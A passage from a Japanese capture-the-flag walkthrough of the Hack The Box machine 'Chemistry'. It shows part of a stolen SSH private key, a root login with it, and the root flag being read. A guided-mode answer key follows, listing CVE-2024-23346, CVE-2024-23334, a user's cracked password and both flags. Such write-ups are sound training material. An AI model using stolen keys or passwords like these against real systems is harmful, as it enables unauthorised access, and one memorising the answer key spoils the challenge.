HvwJLAaodQ9Ts9m8i4yrwltLwVI/l+TtaVi3qBDf4ZtIdMKZU3hex+MlEG74f4j5BlUQAA
AMB6voaH6wysSWeG55LhaBSpnlZrOq7RiGbGIe0qFg+1S2JfesHGcBTAr6J4PLzfFXfijz
syGiF0HQDvl+gYVCHwOkTEjvGV2pSkhFEjgQXizB9EXXWsG1xZ3QzVq95HmKXSJoiw2b+E
9F6ERvw84P6Opf5X5fky87eMcOpzrRgLXeCCz0geeqSa/tZU0xyM1JM/eGjP4DNbGTpGv4
PT9QDq+ykeDuqLZkFhgMped056cNwOdNmpkWRIck9ybJMvEA8AAADBAOlEI0l2rKDuUXMt
XW1S6DnV8OFwMHlf6kcjVFQXmwpFeLTtp0OtbIeo7h7axzzcRC1X/J/N+j7p0JTN6FjpI6
yFFpg+LxkZv2FkqKBH0ntky8F/UprfY2B9rxYGfbblS7yU6xoFC2VjUH8ZcP5+blXcBOhF
hiv6BSogWZ7QNAyD7OhWhOcPNBfk3YFvbg6hawQH2c0pBTWtIWTTUBtOpdta0hU4SZ6uvj
71odqvPNiX+2Hc/k/aqTR8xRMHhwPxxwAAAMEAwYZp7+2BqjA21NrrTXvGCq8N8ZZsbc3Z
2vrhTfqruw6TjUvC/t6FEs3H6Zw4npl+It13kfc6WkGVhsTaAJj/lZSLtN42PXBXwzThjH
giZfQtMfGAqJkPIUbp2QKKY/y6MENIk5pwo2KfJYI/pH0zM9l94eRYyqGHdbWj4GPD8NRK
OlOfMO4xkLwj4rPIcqbGzi0Ant/O+V7NRN/mtx7xDL7oBwhpRDE1Bn4ILcsneX5YH/XoBh
1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----


(3) SSHの秘密鍵(id_rsa)を用いて攻撃対象のマシン(Chemistry)にrootユーザーでログインする。

$ ssh root@10.10.11.38 -i root_id_rsa
  →rootユーザーのプロンプト(root@chemistry:~#)が表示される。


(4) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

※rootユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

# id
uid=0(root) gid=0(root) groups=0(root)


# whoami
root


(5) 特権ユーザー用のフラグファイルの内容を確認する。

※rootユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

# cat /root/root.txt
5bba6d62260f76c83dcb91b627c8ce78


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many open TCP ports are listening on Chemistry?
問題(日本語訳):Chemistry でリッスンしている開いている TCP ポートはいくつありますか?

答え:2


・Task 2

問題(英語訳):What is the path of the example CIF file available in the dashboard?
問題(日本語訳):ダッシュボードで使用できるサンプル CIF ファイルのパスは何ですか?

答え:/static/example.cif


・Task 3

問題(英語訳):What is the 2024 CVE ID for a vulnerability related to parsing CIF files using a Python library?
問題(日本語訳):Python ライブラリを使用した CIF ファイルの解析に関連する脆弱性の 2024 CVE ID は何ですか?

答え:CVE-2024-23346


・Task 4

問題(英語訳):What user the CIF Analyzer web application running as?
問題(日本語訳):CIF Analyzer Web アプリケーションはどのユーザーとして実行されていますか?

答え:app


・Task 5

問題(英語訳):What is the name of the sqlite database file used by the CIF analyzer web application?
問題(日本語訳):CIF アナライザー Web アプリケーションで使用される sqlite データベース ファイルの名前は何ですか?

答え:database.db


・Task 6

問題(英語訳):What is the rosa user's password on Chemistry?
問題(日本語訳):Chemistry における rosa ユーザーのパスワードは何ですか?

答え:unicorniosrosados


・Submit User Flag

問題(英語訳):Submit the flag located in the rosa user's home directory.
問題(日本語訳):rosa ユーザーのホームディレクトリにあるフラグを送信します。

答え:ae899ac3cecd18ee2cbe54d96bd85318
※「/home/rosa/user.txt」の内容。


・Task 8

問題(英語訳):What TCP port that is listneing only on the localhost interface and hosting a webserver?
問題(日本語訳):ローカルホスト インターフェイスでのみリッスンし、Web サーバーをホストしている TCP ポートは何ですか?

答え:8080


・Task 9

問題(英語訳):What is the name of the server application hosting the internal website?
問題(日本語訳):内部 Web サイトをホストしているサーバー アプリケーションの名前は何ですか?

答え:AIOHTTP


・Task 10

問題(英語訳):What version of AIOHTTP is running on TCP port 8080?
問題(日本語訳):TCP ポート 8080 で実行されている AIOHTTP のバージョンは何ですか?

答え:3.9.1


・Task 11

問題(英語訳):What is the 2024 CVE ID for a directory traversal vulnerability in AIOHTTP?
問題(日本語訳):AIOHTTP のディレクトリ トラバーサル脆弱性の 2024 CVE ID は何ですか?

答え:CVE-2024-23334


・Submit Root Flag

問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:5bba6d62260f76c83dcb91b627c8ce78
※「/root/root.txt」の内容。


関連記事(Hack The Box)

※後日作成予定。